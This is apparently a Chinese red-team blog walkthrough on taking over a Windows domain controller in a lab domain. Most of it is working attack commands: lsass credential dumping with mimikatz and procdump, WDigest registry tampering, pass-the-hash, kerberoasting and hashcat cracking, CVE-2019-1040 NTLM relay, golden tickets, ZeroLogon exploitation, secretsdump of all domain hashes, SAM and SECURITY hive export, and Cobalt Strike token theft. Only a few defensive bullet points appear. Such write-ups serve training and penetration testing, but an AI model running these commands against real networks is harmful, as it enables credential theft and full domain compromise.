获取域控权限


获取域控权限

高权限读取本地密码

当域管理员登录域成员主机时,会把明文密码保存在本地的lsass.exe进程

我们使用域控通过3389远程登录域成员机器,输入域控密码

image-20220324182534909

通过mimikatz读取

在域普通股用户使用mimikatz

进入debug模式。读取,退出,导出到log.txt

mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

image-20220324182807768

可看到拿到了管理员的hash,我们可以在cmd5进行解密

image-20220324183024838

通过建立ipc$连接访问域控

net use \\10.10.10.137\ipc$ "qweASD123" /user:redteam\administrator

建立后就可访问域控

image-20220324183347682

也可再kali中使用wmic脚本通过hash利用

执行whoami
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 administrator@10.10.10.137 "whoami" 
打开cmd
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 administrator@10.10.10.137

image-20220324183611585

procdump+本地mimikatz读取lsass明文

如果mimikatz被杀软,我们使用此方法

使用procdump导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image-20220324184219330

拿到本地通过mimikatz读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

image-20220324184334435

通过注册表+锁屏读取

通过添加注册表,再通过锁屏让管理员重新登录即可获取明文

添加注册表,设置UseLogonCredential设置为1

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 

image-20220324184904145

powershell脚本进行锁屏

Function Lock-WorkStation 
{
$signature = @" 
[DllImport("user32.dll", SetLastError = true)] 
public static extern bool LockWorkStation(); 
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name 
"Win32LockWorkStation" -namespace Win32Functions -passthru 
$LockWorkStation::LockWorkStation() | Out-Null 
}
Lock-WorkStation

管理员重新登录

之后用mimikatz读取,可读取明文

mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

image-20220324185222886

可看到拿到了明文,之后可建立ipc$

SYSVOL组策略获取密码

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。

sysvol是活动那个目录存储文件服务的共享文件夹,里面有登录脚本、组策略等。域内所有用户都可访问此共享文件夹,此文件加下,如果创建了组策略脚本登录,就会有groups.xml文件,此文件中密码经过AES-256加密,我们通过AES的私钥用powershell脚本来破解

针对SYSYVOL防御:

  • 打补丁KB2962486
  • 删除SYSVOL目录下的groups.xml
  • 设置共享文件SYSVOL的权限

kerberoasting

SPN为服务主体名称,是服务实列(MySQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实例都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,有可能获取到域用户的密码了。如果服务是域管理员注册的,就可拿到域管密码。

原理

user访问server,向DC发起认证,请求先送达KDS中的AS进行身份认证,认证通过返回一个用user密码的hash进行加密的TGT给user,user拿着TGT访问TGS,认证通过返回一个用对应服务密码的hash进行加密的ST,user拿着ST访问对应服务。在TGS返回ST时,加密算法是RC4_HMAC_MD5,我们可进行穷举口令。

在域控修改加密方式

image-20220324194240199

使用setspn查询spn

windows7和server2008默认自带

setspn.exe -q */* 
setspn.exe -T redteam.club -q */*

image-20220324194514435

CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

我们发现了mysql这个服务

getuserspns.vbs脚本查询spn

cscript GetUserSPNs.vbs

image-20220324194841490

powerview查询spn

Import-Module .\PowerView2.ps1 

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

image-20220324195003499

这里没查到

脚本穷举

请求指定的TGS

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"

image-20220324195209739

mimikatz导出票据

kerberos::list /exort

image-20220324195422522

可看到导出了票据,我们这里用mysql的

把票据拿到kali,使用tgsrepcrack.py脚本破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

python3 tgsrepcrack.py 字典 票据名
python3 tgsrepcrack.py passwd.txt 1-40a10000-test@mysql~12server4.redteam.club~3306-REDTEAM.CLUB.kirbi

image-20220324200341369

拿到了注册这个服务的用户的密码

hashcat穷举

使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中提取出TGS

输出的TGS可选择John the Ripper或Hashcat进行破解。

导入脚本

Import-Module .\Invoke-Kerberoast.ps1

导出TGS

Invoke-Kerberoast -OutputFormat Hashcat 
将hash导出到hash.txt
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation >hash.txt

image-20220324200757233

使用hashcat对其进行穷举

hashcat -m 13100 hash.txt /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force

image-20220324202122767

可看到密码是pass@123,穷举出来了

在found.txt中看到,密码是12server4的test用户,并非域控,如果此服务是域控注册,我们可通过此方法拿到域控密码

inface eth0 inet static

address 10.10.10.160

gateway 10.10.10.2

netmask 255.255.255.0

CVE-2019-1040

内网NTLM协议大杀器

创建机器主机账号

kali下impact-master中的脚本

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123" 

image-20220325202348201

执行成功后,在域控ad下,创建了机器主机账户

image-20220325202444617

中继

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug

image-20220325202619496

设置委派

域控有两台域控 10.10.10.142 主控 10.10.10.140备份域控 10.10.10.159 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.159

image-20220325203515154

设置之后中继监听到了数据

image-20220325203554229

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator

image-20220325203725262

可看到服务票据被保存下来了

修改变量值

export KRB5CCNAME=administrator.ccache

导出域控hash

导出域控hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator 
导出全部hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

这里如果失败需要设置

sudo vi /etc/resolv.conf

image-20220325204227877

可看到导出了所有的hash

image-20220325204251935

可用smbexec拿交互式shell

python3 smbexec.py -no-pass -k ad2.redteam.club

image-20220325204432729

制作黄金票据拿域控权限

之前我们在导出的hash里面发现了krbtgt的hash,我们可用此来做黄金票据

image-20220325204841044

利用mimikatz做黄金票据,以此来拿到域控权限

mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /ticket:ticket.kirbi" exit

image-20220325205202509

导入黄金票据

image-20220325205318781

导入之后我们可以访问到域控

利用psexec拿到交互式shell

需要开放445端口

PsExec64.exe \\ad1 -s cmd.exe

image-20220325205827254

CVE-2020-1472-ZeroLogon

因为Netlogon使用的AES认证算法中的vi向量默认为0,导致可以绕过认证,同时由于其设置域控密码的远程接口也使用了这个函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) 
Windows Server 2012 
Windows Server 2012 (Server Core installation) 
Windows Server 2012 R2 
Windows Server 2012 R2 (Server Core installation) 
Windows Server 2016 
Windows Server 2016 (Server Core installation) 
Windows Server 2019
Windows Server 2019 (Server Core installation) 
Windows Server, version 1903 (Server Core installation) 
Windows Server, version 1909 (Server Core installation) 
Windows Server, version 2004 (Server Core installation) 

使用zerologon脚本复现

检测是否存在漏洞

python3 zerologon_tester.py ad01 10.10.10.137

image-20220325145309489

下载利用exp

git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

image-20220325145703834

获取HASH

使用impacket-master包中的secretsdum.py获取相关HASH

python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass

image-20220325145855179

拿到了域管hash、krbtgthash、刚才指控的机器账号ad01的空hash、域成员的hash

获取一个shell

拿到域管hash后,我们可以用wmic获取一个shell

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:96783bb69c00614e88f7d4688623c83a redteam.club/administrator@10.10.10.137

image-20220325150343414

可以看到是域控下的管理员

获取原域控机器账号hash

在shell里执行

reg save HKLM\SYSTEM system.save 
reg save HKLM\SAM sam.save 
reg save HKLM\SECURITY security.save 
get system.save 
get sam.save 
get security.save 
del /f system.save 
del /f sam.save 
del /f security.save 
exit

image-20220325150746646

拿到文件后,获取原hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20220325150842295

利用脚本还原域控机器账号的原HASH

python3 reinstall_original_pw.py ad01 10.10.10.137 53f796dbbfdd48f8001a11dc782a0a348c2d5384a6d546a13439a37ba2a819fbe8e3d9e228a422c296820f5b74b88211e355bae3288e0ed12f9cf9f528b8c28aac64840d9282133b15d0c46f4546ea6190e81728e6abb6974aab815016ae9d135baa7b11691c8348651e92c3033e27b7598065dbaf81146dec8dfbe8af17e7ebb7c3460d5533f70ddf49a5a6265e7a0ac35cb7104f6d3bd45687255837016eaed71c5979654537811826018641455b24b73e4c674e7622489060a9d7415c5b290d984f0a0aabfff9e409a58447cbfc7f517624cd9e38f54b14c096fa5aba864dd203bb41c5e59480740e66a3a659ddf5

image-20220325151227135

再次拿hash可发现hash已经恢复

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :96783bb69c00614e88f7d4688623c83a 

MS-14-068

在内网渗透中的金票利用详细写过

cs获取域管权限

我们在拿到一个域普通用户的情况下,我们通过cs让他上线

在同网段下

进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限

上线之后

进入进程列表

image-20220325174837080

设置session的 sleep 0

在进程列票里发现了域管理员进程,我们就可以注入

image-20220325175250229

注入之后进行会话交互就可以执行命令

shell whoami

image-20220325175445405

窃取令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

image-20220325175601604

窃取令牌后,权限从当前管理员到了域管


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录